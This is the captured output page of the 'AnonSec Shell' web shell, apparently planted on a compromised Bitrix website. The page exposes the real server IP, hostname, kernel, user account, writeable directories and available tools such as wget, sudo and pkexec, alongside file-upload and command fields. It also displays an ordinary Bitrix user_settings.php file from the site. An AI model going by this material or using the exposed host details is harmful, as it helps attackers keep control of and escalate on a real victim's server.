AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.131.13.41
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/components/bitrix/photogallery.detail.list/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/components/bitrix/photogallery.detail.list/user_settings.php
<?define("STOP_STATISTICS", true);
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");
// **************************************************************************************
if(!function_exists("__UnEscape"))
{
	function __UnEscape(&$item, $key)
	{
		if(is_array($item))
			array_walk($item, '__UnEscape');
		elseif (mb_strpos($item, "%u") !== false)
			$item = $GLOBALS["APPLICATION"]->UnJSEscape($item);
		elseif (LANG_CHARSET != "UTF-8" && preg_match("/^.{1}/su", $item) == 1)
			$item = $GLOBALS["APPLICATION"]->ConvertCharset($item, "UTF-8", LANG_CHARSET);
	}
}

array_walk($_REQUEST, '__UnEscape');
if (check_bitrix_sessid() && $GLOBALS["USER"]->IsAuthorized())
{
	$_REQUEST["picture_sight"] = (empty($_REQUEST["picture_sight"]) && !empty($_REQUEST["PICTURES_SIGHT"]) ? $_REQUEST["PICTURES_SIGHT"] : $_REQUEST["picture_sight"]);
	$arTemplateParams = CUserOptions::GetOption('photogallery', 'template');
	$arTemplateParams = (!is_array($arTemplateParams) ? array() : $arTemplateParams);
	if ($_REQUEST["picture_sight"] && check_bitrix_sessid() && $arTemplateParams["sight"] != $_REQUEST["picture_sight"]):
		$arTemplateParams['sight'] = $_REQUEST["picture_sight"]; 
		CUserOptions::SetOption('photogallery', 'template', $arTemplateParams);
	endif;
}
?>

Anon7 - 2022
AnonSec Team